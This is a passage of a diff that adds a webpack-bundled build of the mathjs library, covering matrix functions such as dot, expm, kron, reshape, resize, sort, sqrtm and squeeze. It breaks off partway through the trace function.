vector; + } +} + +exports.name = 'diag'; +exports.factory = factory; + +/***/ }), +/* 277 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var size = __webpack_require__(2).size; + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var multiply = load(__webpack_require__(10)); + /** + * Calculate the dot product of two vectors. The dot product of + * `A = [a1, a2, a3, ..., an]` and `B = [b1, b2, b3, ..., bn]` is defined as: + * + * dot(A, B) = a1 * b1 + a2 * b2 + a3 * b3 + ... + an * bn + * + * Syntax: + * + * math.dot(x, y) + * + * Examples: + * + * math.dot([2, 4, 1], [2, 2, 3]) // returns number 15 + * math.multiply([2, 4, 1], [2, 2, 3]) // returns number 15 + * + * See also: + * + * multiply, cross + * + * @param {Array | Matrix} x First vector + * @param {Array | Matrix} y Second vector + * @return {number} Returns the dot product of `x` and `y` + */ + + var dot = typed('dot', { + 'Matrix, Matrix': function MatrixMatrix(x, y) { + return _dot(x.toArray(), y.toArray()); + }, + 'Matrix, Array': function MatrixArray(x, y) { + return _dot(x.toArray(), y); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + return _dot(x, y.toArray()); + }, + 'Array, Array': _dot + }); + dot.toTex = { + 2: "\\left(${args[0]}\\cdot${args[1]}\\right)" + }; + return dot; + /** + * Calculate the dot product for two arrays + * @param {Array} x First vector + * @param {Array} y Second vector + * @returns {number} Returns the dot product of x and y + * @private + */ + // TODO: double code with math.multiply + + function _dot(x, y) { + var xSize = size(x); + var ySize = size(y); + var len = xSize[0]; + if (xSize.length !== 1 || ySize.length !== 1) throw new RangeError('Vector expected'); // TODO: better error message + + if (xSize[0] !== ySize[0]) throw new RangeError('Vectors must have equal length (' + xSize[0] + ' != ' + ySize[0] + ')'); + if (len === 0) throw new RangeError('Cannot calculate the dot product of empty vectors'); + var prod = 0; + + for (var i = 0; i < len; i++) { + prod = add(prod, multiply(x[i], y[i])); + } + + return prod; + } +} + +exports.name = 'dot'; +exports.factory = factory; + +/***/ }), +/* 278 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + // TODO: function eye is removed since v5.0.0 (June 2018). Remove it some day. + +function factory(type, config, load, typed) { + return function eye() { + throw new Error('Function "eye" is renamed to "identity" since mathjs version 5.0.0. ' + 'To keep eye working, create an alias for it using "math.import({eye: math.identity}, {override: true})"'); + }; +} + +exports.name = 'eye'; +exports.factory = factory; + +/***/ }), +/* 279 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var format = __webpack_require__(9).format; + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var add = load(__webpack_require__(14)); + var identity = load(__webpack_require__(50)); + var inv = load(__webpack_require__(70)); + var multiply = load(__webpack_require__(10)); + var SparseMatrix = type.SparseMatrix; + /** + * Compute the matrix exponential, expm(A) = e^A. The matrix must be square. + * Not to be confused with exp(a), which performs element-wise + * exponentiation. + * + * The exponential is calculated using the Padé approximant with scaling and + * squaring; see "Nineteen Dubious Ways to Compute the Exponential of a + * Matrix," by Moler and Van Loan. + * + * Syntax: + * + * math.expm(x) + * + * Examples: + * + * const A = [[0,2],[0,0]] + * math.expm(A) // returns [[1,2],[0,1]] + * + * See also: + * + * exp + * + * @param {Matrix} x A square Matrix + * @return {Matrix} The exponential of x + */ + + var expm = typed('expm', { + 'Matrix': function Matrix(A) { + // Check matrix size + var size = A.size(); + + if (size.length !== 2 || size[0] !== size[1]) { + throw new RangeError('Matrix must be square ' + '(size: ' + format(size) + ')'); + } + + var n = size[0]; // Desired accuracy of the approximant (The actual accuracy + // will be affected by round-off error) + + var eps = 1e-15; // The Padé approximant is not so accurate when the values of A + // are "large", so scale A by powers of two. Then compute the + // exponential, and square the result repeatedly according to + // the identity e^A = (e^(A/m))^m + // Compute infinity-norm of A, ||A||, to see how "big" it is + + var infNorm = infinityNorm(A); // Find the optimal scaling factor and number of terms in the + // Padé approximant to reach the desired accuracy + + var params = findParams(infNorm, eps); + var q = params.q; + var j = params.j; // The Pade approximation to e^A is: + // Rqq(A) = Dqq(A) ^ -1 * Nqq(A) + // where + // Nqq(A) = sum(i=0, q, (2q-i)!p! / [ (2q)!i!(q-i)! ] A^i + // Dqq(A) = sum(i=0, q, (2q-i)!q! / [ (2q)!i!(q-i)! ] (-A)^i + // Scale A by 1 / 2^j + + var Apos = multiply(A, Math.pow(2, -j)); // The i=0 term is just the identity matrix + + var N = identity(n); + var D = identity(n); // Initialization (i=0) + + var factor = 1; // Initialization (i=1) + + var AposToI = Apos; // Cloning not necessary + + var alternate = -1; + + for (var i = 1; i <= q; i++) { + if (i > 1) { + AposToI = multiply(AposToI, Apos); + alternate = -alternate; + } + + factor = factor * (q - i + 1) / ((2 * q - i + 1) * i); + N = add(N, multiply(factor, AposToI)); + D = add(D, multiply(factor * alternate, AposToI)); + } + + var R = multiply(inv(D), N); // Square j times + + for (var _i = 0; _i < j; _i++) { + R = multiply(R, R); + } + + return type.isSparseMatrix(A) ? new SparseMatrix(R) : R; + } + }); + + function infinityNorm(A) { + var n = A.size()[0]; + var infNorm = 0; + + for (var i = 0; i < n; i++) { + var rowSum = 0; + + for (var j = 0; j < n; j++) { + rowSum += abs(A.get([i, j])); + } + + infNorm = Math.max(rowSum, infNorm); + } + + return infNorm; + } + /** + * Find the best parameters for the Pade approximant given + * the matrix norm and desired accuracy. Returns the first acceptable + * combination in order of increasing computational load. + */ + + + function findParams(infNorm, eps) { + var maxSearchSize = 30; + + for (var k = 0; k < maxSearchSize; k++) { + for (var q = 0; q <= k; q++) { + var j = k - q; + + if (errorEstimate(infNorm, q, j) < eps) { + return { + q: q, + j: j + }; + } + } + } + + throw new Error('Could not find acceptable parameters to compute the matrix exponential (try increasing maxSearchSize in expm.js)'); + } + /** + * Returns the estimated error of the Pade approximant for the given + * parameters. + */ + + + function errorEstimate(infNorm, q, j) { + var qfac = 1; + + for (var i = 2; i <= q; i++) { + qfac *= i; + } + + var twoqfac = qfac; + + for (var _i2 = q + 1; _i2 <= 2 * q; _i2++) { + twoqfac *= _i2; + } + + var twoqp1fac = twoqfac * (2 * q + 1); + return 8.0 * Math.pow(infNorm / Math.pow(2, j), 2 * q) * qfac * qfac / (twoqfac * twoqp1fac); + } + + expm.toTex = { + 1: "\\exp\\left(${args[0]}\\right)" + }; + return expm; +} + +exports.name = 'expm'; +exports.factory = factory; + +/***/ }), +/* 280 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var filter = __webpack_require__(2).filter; + +var filterRegExp = __webpack_require__(2).filterRegExp; + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Filter the items in an array or one dimensional matrix. + * + * Syntax: + * + * math.filter(x, test) + * + * Examples: + * + * function isPositive (x) { + * return x > 0 + * } + * math.filter([6, -2, -1, 4, 3], isPositive) // returns [6, 4, 3] + * + * math.filter(["23", "foo", "100", "55", "bar"], /[0-9]+/) // returns ["23", "100", "55"] + * + * See also: + * + * forEach, map, sort + * + * @param {Matrix | Array} x A one dimensional matrix or array to filter + * @param {Function | RegExp} test + * A function or regular expression to test items. + * All entries for which `test` returns true are returned. + * When `test` is a function, it is invoked with three parameters: + * the value of the element, the index of the element, and the + * matrix/array being traversed. The function must return a boolean. + * @return {Matrix | Array} Returns the filtered matrix. + */ + + var filter = typed('filter', { + 'Array, function': _filterCallback, + 'Matrix, function': function MatrixFunction(x, test) { + return matrix(_filterCallback(x.toArray(), test)); + }, + 'Array, RegExp': filterRegExp, + 'Matrix, RegExp': function MatrixRegExp(x, test) { + return matrix(filterRegExp(x.toArray(), test)); + } + }); + filter.toTex = undefined; // use default template + + return filter; +} +/** + * Filter values in a callback given a callback function + * @param {Array} x + * @param {Function} callback + * @return {Array} Returns the filtered array + * @private + */ + + +function _filterCallback(x, callback) { + // figure out what number of arguments the callback function expects + var args = maxArgumentCount(callback); + return filter(x, function (value, index, array) { + // invoke the callback function with the right number of arguments + if (args === 1) { + return callback(value); + } else if (args === 2) { + return callback(value, [index]); + } else { + // 3 or -1 + return callback(value, [index], array); + } + }); +} + +exports.name = 'filter'; +exports.factory = factory; + +/***/ }), +/* 281 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var _flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Flatten a multi dimensional matrix into a single dimensional matrix. + * + * Syntax: + * + * math.flatten(x) + * + * Examples: + * + * math.flatten([[1,2], [3,4]]) // returns [1, 2, 3, 4] + * + * See also: + * + * concat, resize, size, squeeze + * + * @param {Matrix | Array} x Matrix to be flattened + * @return {Matrix | Array} Returns the flattened matrix + */ + + var flatten = typed('flatten', { + 'Array': function Array(x) { + return _flatten(clone(x)); + }, + 'Matrix': function Matrix(x) { + var flat = _flatten(clone(x.toArray())); // TODO: return the same matrix type as x + + + return matrix(flat); + } + }); + flatten.toTex = undefined; // use default template + + return flatten; +} + +exports.name = 'flatten'; +exports.factory = factory; + +/***/ }), +/* 282 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; + +var forEach = __webpack_require__(2).forEach; + +function factory(type, config, load, typed) { + /** + * Iterate over all elements of a matrix/array, and executes the given callback function. + * + * Syntax: + * + * math.forEach(x, callback) + * + * Examples: + * + * math.forEach([1, 2, 3], function(value) { + * console.log(value) + * }) + * // outputs 1, 2, 3 + * + * See also: + * + * filter, map, sort + * + * @param {Matrix | Array} x The matrix to iterate on. + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix/array being traversed. + */ + var forEach = typed('forEach', { + 'Array, function': _forEach, + 'Matrix, function': function MatrixFunction(x, callback) { + return x.forEach(callback); + } + }); + forEach.toTex = undefined; // use default template + + return forEach; +} +/** + * forEach for a multi dimensional array + * @param {Array} array + * @param {Function} callback + * @private + */ + + +function _forEach(array, callback) { + // figure out what number of arguments the callback function expects + var args = maxArgumentCount(callback); + + var recurse = function recurse(value, index) { + if (Array.isArray(value)) { + forEach(value, function (child, i) { + // we create a copy of the index array and append the new index value + recurse(child, index.concat(i)); + }); + } else { + // invoke the callback function with the right number of arguments + if (args === 1) { + callback(value); + } else if (args === 2) { + callback(value, index); + } else { + // 3 or -1 + callback(value, index, array); + } + } + }; + + recurse(array, []); +} + +exports.name = 'forEach'; +exports.factory = factory; + +/***/ }), +/* 283 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var size = __webpack_require__(2).size; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var multiplyScalar = load(__webpack_require__(21)); + /** + * Calculates the kronecker product of 2 matrices or vectors. + * + * NOTE: If a one dimensional vector / matrix is given, it will be + * wrapped so its two dimensions. + * See the examples. + * + * Syntax: + * + * math.kron(x, y) + * + * Examples: + * + * math.kron([[1, 0], [0, 1]], [[1, 2], [3, 4]]) + * // returns [ [ 1, 2, 0, 0 ], [ 3, 4, 0, 0 ], [ 0, 0, 1, 2 ], [ 0, 0, 3, 4 ] ] + * + * math.kron([1,1], [2,3,4]) + * // returns [ [ 2, 3, 4, 2, 3, 4 ] ] + * + * See also: + * + * multiply, dot, cross + * + * @param {Array | Matrix} x First vector + * @param {Array | Matrix} y Second vector + * @return {Array | Matrix} Returns the kronecker product of `x` and `y` + */ + + var kron = typed('kron', { + 'Matrix, Matrix': function MatrixMatrix(x, y) { + return matrix(_kron(x.toArray(), y.toArray())); + }, + 'Matrix, Array': function MatrixArray(x, y) { + return matrix(_kron(x.toArray(), y)); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + return matrix(_kron(x, y.toArray())); + }, + 'Array, Array': _kron + }); + return kron; + /** + * Calculate the kronecker product of two matrices / vectors + * @param {Array} a First vector + * @param {Array} b Second vector + * @returns {Array} Returns the kronecker product of x and y + * @private + */ + + function _kron(a, b) { + // Deal with the dimensions of the matricies. + if (size(a).length === 1) { + // Wrap it in a 2D Matrix + a = [a]; + } + + if (size(b).length === 1) { + // Wrap it in a 2D Matrix + b = [b]; + } + + if (size(a).length > 2 || size(b).length > 2) { + throw new RangeError('Vectors with dimensions greater then 2 are not supported expected ' + '(Size x = ' + JSON.stringify(a.length) + ', y = ' + JSON.stringify(b.length) + ')'); + } + + var t = []; + var r = []; + return a.map(function (a) { + return b.map(function (b) { + r = []; + t.push(r); + return a.map(function (y) { + return b.map(function (x) { + return r.push(multiplyScalar(y, x)); + }); + }); + }); + }) && t; + } +} + +exports.name = 'kron'; +exports.factory = factory; + +/***/ }), +/* 284 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var resize = __webpack_require__(2).resize; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Create a matrix filled with ones. The created matrix can have one or + * multiple dimensions. + * + * Syntax: + * + * math.ones(m) + * math.ones(m, format) + * math.ones(m, n) + * math.ones(m, n, format) + * math.ones([m, n]) + * math.ones([m, n], format) + * math.ones([m, n, p, ...]) + * math.ones([m, n, p, ...], format) + * + * Examples: + * + * math.ones(3) // returns [1, 1, 1] + * math.ones(3, 2) // returns [[1, 1], [1, 1], [1, 1]] + * math.ones(3, 2, 'dense') // returns Dense Matrix [[1, 1], [1, 1], [1, 1]] + * + * const A = [[1, 2, 3], [4, 5, 6]] + * math.ones(math.size(A)) // returns [[1, 1, 1], [1, 1, 1]] + * + * See also: + * + * zeros, identity, size, range + * + * @param {...number | Array} size The size of each dimension of the matrix + * @param {string} [format] The Matrix storage format + * + * @return {Array | Matrix | number} A matrix filled with ones + */ + + var ones = typed('ones', { + '': function _() { + return config.matrix === 'Array' ? _ones([]) : _ones([], 'default'); + }, + // math.ones(m, n, p, ..., format) + // TODO: more accurate signature '...number | BigNumber, string' as soon as typed-function supports this + '...number | BigNumber | string': function numberBigNumberString(size) { + var last = size[size.length - 1]; + + if (typeof last === 'string') { + var format = size.pop(); + return _ones(size, format); + } else if (config.matrix === 'Array') { + return _ones(size); + } else { + return _ones(size, 'default'); + } + }, + 'Array': _ones, + 'Matrix': function Matrix(size) { + var format = size.storage(); + return _ones(size.valueOf(), format); + }, + 'Array | Matrix, string': function ArrayMatrixString(size, format) { + return _ones(size.valueOf(), format); + } + }); + ones.toTex = undefined; // use default template + + return ones; + /** + * Create an Array or Matrix with ones + * @param {Array} size + * @param {string} [format='default'] + * @return {Array | Matrix} + * @private + */ + + function _ones(size, format) { + var hasBigNumbers = _normalize(size); + + var defaultValue = hasBigNumbers ? new type.BigNumber(1) : 1; + + _validate(size); + + if (format) { + // return a matrix + var m = matrix(format); + + if (size.length > 0) { + return m.resize(size, defaultValue); + } + + return m; + } else { + // return an Array + var arr = []; + + if (size.length > 0) { + return resize(arr, size, defaultValue); + } + + return arr; + } + } // replace BigNumbers with numbers, returns true if size contained BigNumbers + + + function _normalize(size) { + var hasBigNumbers = false; + size.forEach(function (value, index, arr) { + if (type.isBigNumber(value)) { + hasBigNumbers = true; + arr[index] = value.toNumber(); + } + }); + return hasBigNumbers; + } // validate arguments + + + function _validate(size) { + size.forEach(function (value) { + if (typeof value !== 'number' || !isInteger(value) || value < 0) { + throw new Error('Parameters in function ones must be positive integers'); + } + }); + } +} + +exports.name = 'ones'; +exports.factory = factory; + +/***/ }), +/* 285 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var isInteger = load(__webpack_require__(34)); + /** + * Reshape a multi dimensional array to fit the specified dimensions + * + * Syntax: + * + * math.reshape(x, sizes) + * + * Examples: + * + * math.reshape([1, 2, 3, 4, 5, 6], [2, 3]) + * // returns Array [[1, 2, 3], [4, 5, 6]] + * + * math.reshape([[1, 2], [3, 4]], [1, 4]) + * // returns Array [[1, 2, 3, 4]] + * + * math.reshape([[1, 2], [3, 4]], [4]) + * // returns Array [1, 2, 3, 4] + * + * const x = math.matrix([1, 2, 3, 4, 5, 6, 7, 8]) + * math.reshape(x, [2, 2, 2]) + * // returns Matrix [[[1, 2], [3, 4]], [[5, 6], [7, 8]]] + * + * See also: + * + * size, squeeze, resize + * + * @param {Array | Matrix | *} x Matrix to be reshaped + * @param {number[]} sizes One dimensional array with integral sizes for + * each dimension + * + * @return {* | Array | Matrix} A reshaped clone of matrix `x` + * + * @throws {TypeError} If `sizes` does not contain solely integers + * @throws {DimensionError} If the product of the new dimension sizes does + * not equal that of the old ones + */ + + var reshape = typed('reshape', { + 'Matrix, Array': function MatrixArray(x, sizes) { + if (x.reshape) { + return x.reshape(sizes); + } else { + return matrix(array.reshape(x.valueOf(), sizes)); + } + }, + 'Array, Array': function ArrayArray(x, sizes) { + sizes.forEach(function (size) { + if (!isInteger(size)) { + throw new TypeError('Invalid size for dimension: ' + size); + } + }); + return array.reshape(x, sizes); + } + }); + reshape.toTex = undefined; // use default template + + return reshape; +} + +exports.name = 'reshape'; +exports.factory = factory; + +/***/ }), +/* 286 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +var ArgumentsError = __webpack_require__(57); + +var isInteger = __webpack_require__(3).isInteger; + +var format = __webpack_require__(9).format; + +var clone = __webpack_require__(5).clone; + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Resize a matrix + * + * Syntax: + * + * math.resize(x, size) + * math.resize(x, size, defaultValue) + * + * Examples: + * + * math.resize([1, 2, 3, 4, 5], [3]) // returns Array [1, 2, 3] + * math.resize([1, 2, 3], [5], 0) // returns Array [1, 2, 3, 0, 0] + * math.resize(2, [2, 3], 0) // returns Matrix [[2, 0, 0], [0, 0, 0]] + * math.resize("hello", [8], "!") // returns string 'hello!!!' + * + * See also: + * + * size, squeeze, subset, reshape + * + * @param {Array | Matrix | *} x Matrix to be resized + * @param {Array | Matrix} size One dimensional array with numbers + * @param {number | string} [defaultValue=0] Zero by default, except in + * case of a string, in that case + * defaultValue = ' ' + * @return {* | Array | Matrix} A resized clone of matrix `x` + */ + // TODO: rework resize to a typed-function + + var resize = function resize(x, size, defaultValue) { + if (arguments.length !== 2 && arguments.length !== 3) { + throw new ArgumentsError('resize', arguments.length, 2, 3); + } + + if (type.isMatrix(size)) { + size = size.valueOf(); // get Array + } + + if (type.isBigNumber(size[0])) { + // convert bignumbers to numbers + size = size.map(function (value) { + return type.isBigNumber(value) ? value.toNumber() : value; + }); + } // check x is a Matrix + + + if (type.isMatrix(x)) { + // use optimized matrix implementation, return copy + return x.resize(size, defaultValue, true); + } + + if (typeof x === 'string') { + // resize string + return _resizeString(x, size, defaultValue); + } // check result should be a matrix + + + var asMatrix = Array.isArray(x) ? false : config.matrix !== 'Array'; + + if (size.length === 0) { + // output a scalar + while (Array.isArray(x)) { + x = x[0]; + } + + return clone(x); + } else { + // output an array/matrix + if (!Array.isArray(x)) { + x = [x]; + } + + x = clone(x); + var res = array.resize(x, size, defaultValue); + return asMatrix ? matrix(res) : res; + } + }; + + resize.toTex = undefined; // use default template + + return resize; + /** + * Resize a string + * @param {string} str + * @param {number[]} size + * @param {string} [defaultChar=' '] + * @private + */ + + function _resizeString(str, size, defaultChar) { + if (defaultChar !== undefined) { + if (typeof defaultChar !== 'string' || defaultChar.length !== 1) { + throw new TypeError('Single character expected as defaultValue'); + } + } else { + defaultChar = ' '; + } + + if (size.length !== 1) { + throw new DimensionError(size.length, 1); + } + + var len = size[0]; + + if (typeof len !== 'number' || !isInteger(len)) { + throw new TypeError('Invalid size, must contain positive integers ' + '(size: ' + format(size) + ')'); + } + + if (str.length > len) { + return str.substring(0, len); + } else if (str.length < len) { + var res = str; + + for (var i = 0, ii = len - str.length; i < ii; i++) { + res += defaultChar; + } + + return res; + } else { + return str; + } + } +} + +exports.name = 'resize'; +exports.factory = factory; + +/***/ }), +/* 287 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var size = __webpack_require__(2).size; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var compareAsc = load(__webpack_require__(55)); + + var compareDesc = function compareDesc(a, b) { + return -compareAsc(a, b); + }; + + var compareNatural = load(__webpack_require__(30)); + /** + * Sort the items in a matrix. + * + * Syntax: + * + * math.sort(x) + * math.sort(x, compare) + * + * Examples: + * + * math.sort([5, 10, 1]) // returns [1, 5, 10] + * math.sort(['C', 'B', 'A', 'D'], math.compareNatural) + * // returns ['A', 'B', 'C', 'D'] + * + * function sortByLength (a, b) { + * return a.length - b.length + * } + * math.sort(['Langdon', 'Tom', 'Sara'], sortByLength) + * // returns ['Tom', 'Sara', 'Langdon'] + * + * See also: + * + * filter, forEach, map, compare, compareNatural + * + * @param {Matrix | Array} x A one dimensional matrix or array to sort + * @param {Function | 'asc' | 'desc' | 'natural'} [compare='asc'] + * An optional _comparator function or name. The function is called as + * `compare(a, b)`, and must return 1 when a > b, -1 when a < b, + * and 0 when a == b. + * @return {Matrix | Array} Returns the sorted matrix. + */ + + var sort = typed('sort', { + 'Array': function Array(x) { + _arrayIsVector(x); + + return x.sort(compareAsc); + }, + 'Matrix': function Matrix(x) { + _matrixIsVector(x); + + return matrix(x.toArray().sort(compareAsc), x.storage()); + }, + 'Array, function': function ArrayFunction(x, _comparator) { + _arrayIsVector(x); + + return x.sort(_comparator); + }, + 'Matrix, function': function MatrixFunction(x, _comparator) { + _matrixIsVector(x); + + return matrix(x.toArray().sort(_comparator), x.storage()); + }, + 'Array, string': function ArrayString(x, order) { + _arrayIsVector(x); + + return x.sort(_comparator(order)); + }, + 'Matrix, string': function MatrixString(x, order) { + _matrixIsVector(x); + + return matrix(x.toArray().sort(_comparator(order)), x.storage()); + } + }); + sort.toTex = undefined; // use default template + + /** + * Get the comparator for given order ('asc', 'desc', 'natural') + * @param {'asc' | 'desc' | 'natural'} order + * @return {Function} Returns a _comparator function + */ + + function _comparator(order) { + if (order === 'asc') { + return compareAsc; + } else if (order === 'desc') { + return compareDesc; + } else if (order === 'natural') { + return compareNatural; + } else { + throw new Error('String "asc", "desc", or "natural" expected'); + } + } + /** + * Validate whether an array is one dimensional + * Throws an error when this is not the case + * @param {Array} array + * @private + */ + + + function _arrayIsVector(array) { + if (size(array).length !== 1) { + throw new Error('One dimensional array expected'); + } + } + /** + * Validate whether a matrix is one dimensional + * Throws an error when this is not the case + * @param {Matrix} matrix + * @private + */ + + + function _matrixIsVector(matrix) { + if (matrix.size().length !== 1) { + throw new Error('One dimensional matrix expected'); + } + } + + return sort; +} + +exports.name = 'sort'; +exports.factory = factory; + +/***/ }), +/* 288 */ +/***/ (function(module, exports) { + +/* + * Natural Sort algorithm for Javascript - Version 0.7 - Released under MIT license + * Author: Jim Palmer (based on chunking idea from Dave Koelle) + */ +/*jshint unused:false */ +module.exports = function naturalSort (a, b) { + "use strict"; + var re = /(^([+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?)?$|^0x[0-9a-f]+$|\d+)/gi, + sre = /(^[ ]*|[ ]*$)/g, + dre = /(^([\w ]+,?[\w ]+)?[\w ]+,?[\w ]+\d+:\d+(:\d+)?[\w ]?|^\d{1,4}[\/\-]\d{1,4}[\/\-]\d{1,4}|^\w+, \w+ \d+, \d{4})/, + hre = /^0x[0-9a-f]+$/i, + ore = /^0/, + i = function(s) { return naturalSort.insensitive && ('' + s).toLowerCase() || '' + s; }, + // convert all to strings strip whitespace + x = i(a).replace(sre, '') || '', + y = i(b).replace(sre, '') || '', + // chunk/tokenize + xN = x.replace(re, '\0$1\0').replace(/\0$/,'').replace(/^\0/,'').split('\0'), + yN = y.replace(re, '\0$1\0').replace(/\0$/,'').replace(/^\0/,'').split('\0'), + // numeric, hex or date detection + xD = parseInt(x.match(hre), 16) || (xN.length !== 1 && x.match(dre) && Date.parse(x)), + yD = parseInt(y.match(hre), 16) || xD && y.match(dre) && Date.parse(y) || null, + oFxNcL, oFyNcL; + // first try and sort Hex codes or Dates + if (yD) { + if ( xD < yD ) { return -1; } + else if ( xD > yD ) { return 1; } + } + // natural sorting through split numeric strings and default strings + for(var cLoc=0, numS=Math.max(xN.length, yN.length); cLoc < numS; cLoc++) { + // find floats not starting with '0', string or 0 if not defined (Clint Priest) + oFxNcL = !(xN[cLoc] || '').match(ore) && parseFloat(xN[cLoc]) || xN[cLoc] || 0; + oFyNcL = !(yN[cLoc] || '').match(ore) && parseFloat(yN[cLoc]) || yN[cLoc] || 0; + // handle numeric vs string comparison - number < string - (Kyle Adams) + if (isNaN(oFxNcL) !== isNaN(oFyNcL)) { return (isNaN(oFxNcL)) ? 1 : -1; } + // rely on string comparison if different types - i.e. '02' < 2 != '02' < '2' + else if (typeof oFxNcL !== typeof oFyNcL) { + oFxNcL += ''; + oFyNcL += ''; + } + if (oFxNcL < oFyNcL) { return -1; } + if (oFxNcL > oFyNcL) { return 1; } + } + return 0; +}; + + +/***/ }), +/* 289 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +var latex = __webpack_require__(4); + +var string = __webpack_require__(9); + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var add = load(__webpack_require__(14)); + var multiply = load(__webpack_require__(10)); + var sqrt = load(__webpack_require__(46)); + var subtract = load(__webpack_require__(15)); + var inv = load(__webpack_require__(70)); + var size = load(__webpack_require__(28)); + var max = load(__webpack_require__(98)); + var identity = load(__webpack_require__(50)); + /** + * Calculate the principal square root of a square matrix. + * The principal square root matrix `X` of another matrix `A` is such that `X * X = A`. + * + * https://en.wikipedia.org/wiki/Square_root_of_a_matrix + * + * Syntax: + * + * X = math.sqrtm(A) + * + * Examples: + * + * math.sqrtm([[1, 2], [3, 4]]) // returns [[-2, 1], [1.5, -0.5]] + * + * See also: + * + * sqrt, pow + * + * @param {Array | Matrix} A The square matrix `A` + * @return {Array | Matrix} The principal square root of matrix `A` + */ + + var sqrtm = typed('sqrtm', { + 'Array | Matrix': function ArrayMatrix(A) { + var size = type.isMatrix(A) ? A.size() : array.size(A); + + switch (size.length) { + case 1: + // Single element Array | Matrix + if (size[0] === 1) { + return sqrt(A); + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + string.format(size) + ')'); + } + + case 2: + // Two-dimensional Array | Matrix + var rows = size[0]; + var cols = size[1]; + + if (rows === cols) { + return _denmanBeavers(A); + } else { + throw new RangeError('Matrix must be square ' + '(size: ' + string.format(size) + ')'); + } + + } + } + }); + var _maxIterations = 1e3; + var _tolerance = 1e-6; + /** + * Calculate the principal square root matrix using the Denman–Beavers iterative method + * + * https://en.wikipedia.org/wiki/Square_root_of_a_matrix#By_Denman–Beavers_iteration + * + * @param {Array | Matrix} A The square matrix `A` + * @return {Array | Matrix} The principal square root of matrix `A` + * @private + */ + + function _denmanBeavers(A) { + var error; + var iterations = 0; + var Y = A; + var Z = identity(size(A)); + + do { + var Yk = Y; + Y = multiply(0.5, add(Yk, inv(Z))); + Z = multiply(0.5, add(Z, inv(Yk))); + error = max(abs(subtract(Y, Yk))); + + if (error > _tolerance && ++iterations > _maxIterations) { + throw new Error('computing square root of matrix: iterative method could not converge'); + } + } while (error > _tolerance); + + return Y; + } + + sqrtm.toTex = { + 1: "{${args[0]}}".concat(latex.operators['pow'], "{\\frac{1}{2}}") + }; + return sqrtm; +} + +exports.name = 'sqrtm'; +exports.factory = factory; + +/***/ }), +/* 290 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var object = __webpack_require__(5); + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Squeeze a matrix, remove inner and outer singleton dimensions from a matrix. + * + * Syntax: + * + * math.squeeze(x) + * + * Examples: + * + * math.squeeze([3]) // returns 3 + * math.squeeze([[3]]) // returns 3 + * + * const A = math.zeros(3, 1) // returns [[0], [0], [0]] (size 3x1) + * math.squeeze(A) // returns [0, 0, 0] (size 3) + * + * const B = math.zeros(1, 3) // returns [[0, 0, 0]] (size 1x3) + * math.squeeze(B) // returns [0, 0, 0] (size 3) + * + * // only inner and outer dimensions are removed + * const C = math.zeros(2, 1, 3) // returns [[[0, 0, 0]], [[0, 0, 0]]] (size 2x1x3) + * math.squeeze(C) // returns [[[0, 0, 0]], [[0, 0, 0]]] (size 2x1x3) + * + * See also: + * + * subset + * + * @param {Matrix | Array} x Matrix to be squeezed + * @return {Matrix | Array} Squeezed matrix + */ + + var squeeze = typed('squeeze', { + 'Array': function Array(x) { + return array.squeeze(object.clone(x)); + }, + 'Matrix': function Matrix(x) { + var res = array.squeeze(x.toArray()); // FIXME: return the same type of matrix as the input + + return Array.isArray(res) ? matrix(res) : res; + }, + 'any': function any(x) { + // scalar + return object.clone(x); + } + }); + squeeze.toTex = undefined; // use default template + + return squeeze; +} + +exports.name = 'squeeze'; +exports.factory = factory; + +/***/ }), +/* 291 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var format = __webpack_require__(9).format; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var add = load(__webpack_require__(14)); + /** + * Calculate the trace of a matrix: the sum of the elements on the main + * diagonal of a square matrix. + * + * Syntax: + * + * math.trace(x) + * + * Examples: + * + * math.trace([[1, 2], [3, 4]]) // returns 5 + * + * const A = [ + * [1, 2, 3], + * [-1, 2, 3], + * [2, 0, 3] + * ] + * math.trace(A) // returns 6 + * + * See also: + * + * diag + * + * @param {Array | Matrix} x A matrix + * + * @return {number} The trace of `x` + */ + + var trace = typed('trace', { + 'Array': function _arrayTrace(x) { + // use dense matrix 